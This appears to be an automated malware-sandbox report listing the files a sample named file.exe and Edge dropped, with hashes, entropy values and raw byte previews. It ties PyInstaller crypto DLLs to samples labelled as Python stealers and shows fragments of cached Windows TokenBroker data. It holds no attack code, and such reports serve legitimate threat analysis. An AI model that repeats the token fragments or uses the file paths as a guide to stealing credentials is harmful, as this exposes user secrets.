Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0026124410072095
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXQBX4:YWLSGTt1o9LuLgfGBPAzkVj/T8lAq
MD5:	17EF0F3D8AD70BC7E8D8A58B20807817
SHA1:	44D10C7BDEBC7AE8A8B8A30396040B0FF3677BF2
SHA-256:	81BC30190B5110797835F26365CFB5633B875D456BAC2BBEC1489CE855F2163C
SHA-512:	6C27B03335524868421767D4C1DFA9F9EE058234449BDB8DE80C8C23E672BF96964A847273778E0BE6E8BFED4FE24D350EB1792C964A7259FDDB4ECFCB67A701
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732324172556297}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.415446034314543
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQd:YQ3Kq9X0dMgAEwjj
MD5:	3FA87FFDBFD627F217A5F052D6D3A7AC
SHA1:	0746F46DE416E30212C78E240BF6B5352EE2EF9C
SHA-256:	7C782809649AE44D26AD9EC63F900A8B306E91ED01410EEDD6A9AB778770ED2B
SHA-512:	EDAEDD2E75B29829BE86D25CB0D894832FCA323FD12493133E9230007D3FA353F12F3DBC87DAD9FE2B86D0F26EC3814C9951975ADFF3421623C44642AA780894
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":14}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6e2178d-ce4e-4a6e-abda-e84211398b10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	25012
Entropy (8bit):	6.035943607390387
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5JkWUolrfi7GzeYGRJaQB:2Mk1rT8HhkSedai
MD5:	7D4CB06BAC731A424D756252CC8F9196
SHA1:	0B8779EF1AE92F266F463D9071FDD5F4C4211DB7
SHA-256:	B5ACE9A0122FBE156A4148AC7BBF166457E0AC16C1B0DF796CE85C3CE189B6C1
SHA-512:	7F6E46C545781AC974BB7DCD1AFA33F0E89BBD394400A1839E8AFA6F032A06F8B9069DE687113126F4C4EF846B4FCF2F0CFB016202A0CC25D04361E041DB7645
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376696967935927","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8403452351733023
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxGxl9Il8ur1N7lLZidpyYWW3Ceq/d1rc:mHY91ZlLY+YWgCeH
MD5:	7195D2204BBBF49B101DE71110C939E2
SHA1:	8EF5FA42EE856F2F6F67FA10B6B19D7687E8E812
SHA-256:	40B0A0D31A9BDC4E17AFFFEE8777FE956331F69626AC15B774D157D43669EDD9
SHA-512:	09318F8D679537E4E61EB506C3DB72FF82E6CABB302E18FAB1E6733943BB759930DC713ED92CAF1FB27967FF17FB0C694F934012591A2E34DEAAF57F41BE387A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.P.L.R.C.G.I.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.X.a.t.y.T.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002906793905537
Encrypted:	false
SSDEEP:	96:HY9C0i3Jy5m4EQ8s83fU72TaSZ1BAuV0lAcFKydYS:H70i3Jy5hj8F3fU7UaSF0WcFKmx
MD5:	F2A5A9AEB7C931CA2F5DFE563CD593FA
SHA1:	4DE568592358995071B7EA914E9A9F1699136993
SHA-256:	32A2583F1F903BDAA45ED3440C8AEA13840307F72AD2B37F7C1D6472A142B23F
SHA-512:	01FB4DF5FE0FF62267A9CE8858BB6FBC4BBC96FF0C5DAE0DC030992DC8187700E1C9944D366AA59B190592DC5B9BB787A61C93BBEE46474FB10DA43986CD87C1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.s.w.Y.7.1.k.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.X.a.t.y.T.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.891415040544218
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xWxl9Il8urf0t27//grHoGx84L8gPc9jyxulWCXA3zd/vc:acY9f0tE2HoNyPc9Guldw3u
MD5:	5A2981236BE2A628D681AF3D463D759D
SHA1:	BE9D04B3C3E9AC75D7C3F2984526AEFBD1B3D355
SHA-256:	ACCAD2BBF789393BE612EC084ED5EB1692D0D5F0DE8E08798C1BDB6C1928F8AA
SHA-512:	B9A269F61B89A06715D183BB869FBE3213833D9324334149AF65688119F56148FCC41C06DE5BA9515F45F1E424E1ED252482577C28C76324EE0B3DAB5FF37A11
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".b.n.v.f.H.y.t.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.X.a.t.y.T.

C:\Users\user\AppData\Local\Temp\18dccdd7-86b6-459e-8b35-03c9a2ed9b73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\47e8b59d-0a59-4017-8c02-6a18fbace69d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	337242
Entropy (8bit):	7.959035365404173
Encrypted:	false
SSDEEP:	6144:d5M6xLTOzxmsLGFj4Xwz+aASlmhxL4MSZ5fPl9YMMX6QLsBiU9b:d5M6dTOzo2X5Sox1U5l9YhqQq
MD5:	D9043FFE2E5B0EBE11DF14F794B882A8
SHA1:	53B80DCE84D1C9469BA1E269CD1D11F76CDFC6E9
SHA-256:	B092230F1CE763F3DB4599742FDFEEA38150F6F02F3943CB7E3C637DD946999F
SHA-512:	B2EAEED74A9DB8118AF2CD9C907739C4A6AF6B33541EB52E254030570BD24FA25ED696036D45BEE2EE2D888F87DA530A81BFF4FE9023EF1ADADBB50F83DC1300
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b75a62fc-b0e7-2542-abb1-0cf1051812b8" xmpMM:DocumentID="xmp.did:C653DEED17A311EA8B5BD5250E05F029" xmpMM:InstanceID="xmp.iid:C653DEEC17A311EA8B5BD5250E05F029" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39d3d013-cb07-b94a-9afe-3e232046b219" stRef:documentID="adobe:docid:photoshop:2052e8c3-076c-2b43-8d50-84f2df243b9c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................O..............

C:\Users\user\AppData\Local\Temp\5dd54f1f-2a81-4992-940e-f88e1e50dd5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\6e6190a2-2c15-4408-bb4b-b2043c182434.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\77f66eef-c990-42d6-ae19-ff3cb2b1f684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12630
Category:	dropped
Size (bytes):	175520
Entropy (8bit):	7.998093621351615
Encrypted:	true
SSDEEP:	3072:gGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIjRD:gl7E6lEMVo/S01fDpWmEgD
MD5:	799CC69BB97B64E709228487A5934289
SHA1:	C1D4A1E3069367CE536469817BA2F234B78F4416
SHA-256:	8098C16BFD542BF942E056F7836FFFDC1A80940356CAE010EE142203982987C5
SHA-512:	876B7C8E33C0A3F68280E8AB3054550A2A20AC0E952805A6E98FE3FB8C1D86877C1FDB96F95425DB4F1178127ED0010A3A401DAE16E6CA1B9E4E1C5A8FD864DA
Malicious:	false
Preview:	............w.F.0.....N.M. ...2i._.8..$q.v.w....Y......V.....z?AH.3...>.c..P.[.]...q...CVm......h2 I..X..k.U7U>o.i1\......~.C.O.:-.{OFq......8....x<...~....$._.G.P.._O....9~.d..-.l..(...n.....7yY..$u\|._....d>.#..8.H...-2.(..N$Ow.0..I.U.........l..uZA.%.b.\n..G.vv..4.K.......4N..b.#Fgg..l..(M..#:.j=o.J.......53.>.N.l..turu:.P....\....\&W......#(....g...c.g.3>.g'...6n.....\|~....V...m\Y.......iJfd..5......P......w;O...Uz.Nwv.9..2mN.S8m...=.....`..<z..T.8...)Y.b.....1.1..<z.l......y....pA...X..>`..lrMr...........N.....]..<...........O.....\.(....O`..............b.5oV......p..3z..H..s............=....,..\|<.k:.=l...RI.T..03y..J..i.....?...4..-.f.x.p...x6z...,.Y.l<#p..t.F.=.IUp....9..........)@u4!..xv..=.''.l._....f.._..q.........}...t.6N.N.......gr.N...8..\|.....-.!......UY....P. ...+R...aV]........... .)..5....R......V.(nk.&...,.-.Ii[.DsR..2.$.I...4[.^."..$.Y.G.h+l].].......Q./.q...]......*......X.<.O.#..]gM..Q...Jyt.5..B..uq...%Y.V..z ....y...

C:\Users\user\AppData\Local\Temp\7f2b9e44-cd37-44e8-ac6d-1c08b34ff723.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.640339306680604
Encrypted:	false
SSDEEP:	192:dLklddyTHThob0q/tJRrlDfNYSOcqgYCWt:ZgcdZq/JJD6gRWt
MD5:	BCD8CAAF9342AB891BB1D8DD45EF0098
SHA1:	EE7760BA0FF2548F25D764F000EFBB1332BE6D3E
SHA-256:	78725D2F55B7400A3FCAFECD35AF7AEB253FBC0FFCDF1903016EB0AABD1B4E50
SHA-512:	8B6FB53AECB514769985EBFDAB1B3C739024597D9C35905E04971D5422256546F7F169BF98F9BAF7D9F42A61CFF3EE7A20664989D3000773BF5EDA10CB3A0C24
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Payload.exe, Detection: malicious, Browse Filename: Payload.exe, Detection: malicious, Browse Filename: Creal.exe, Detection: malicious, Browse Filename: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: RobCheat.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe, Detection: malicious, Browse Filename: grA6aqodO5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...Y..f.........." ................P........................................p............`..........................................'......0(..d....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata..Z.... ......................@..@.data...H....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..(....`.......*..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.0194545642425075
Encrypted:	false
SSDEEP:	192:4t/1nCuqaL0kt7AznuRmceS4lDFhAlcqgcLg:F/k1ACln4lDogcLg
MD5:	F19CB847E567A31FAB97435536C7B783
SHA1:	4C8BFE404AF28C1781740E7767619A5E2D2FF2B7
SHA-256:	1ECE1DC94471D6977DBE2CEEBA3764ADF0625E2203D6257F7C781C619D2A3DAD
SHA-512:	382DC205F703FC3E1F072F17F58E321E1A65B86BE7D9D6B07F24A02A156308A7FEC9B1A621BA1F3428FD6BB413D14AE9ECB2A2C8DD62A7659776CFFDEBB6374C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Payload.exe, Detection: malicious, Browse Filename: Payload.exe, Detection: malicious, Browse Filename: Creal.exe, Detection: malicious, Browse Filename: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: RobCheat.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe, Detection: malicious, Browse
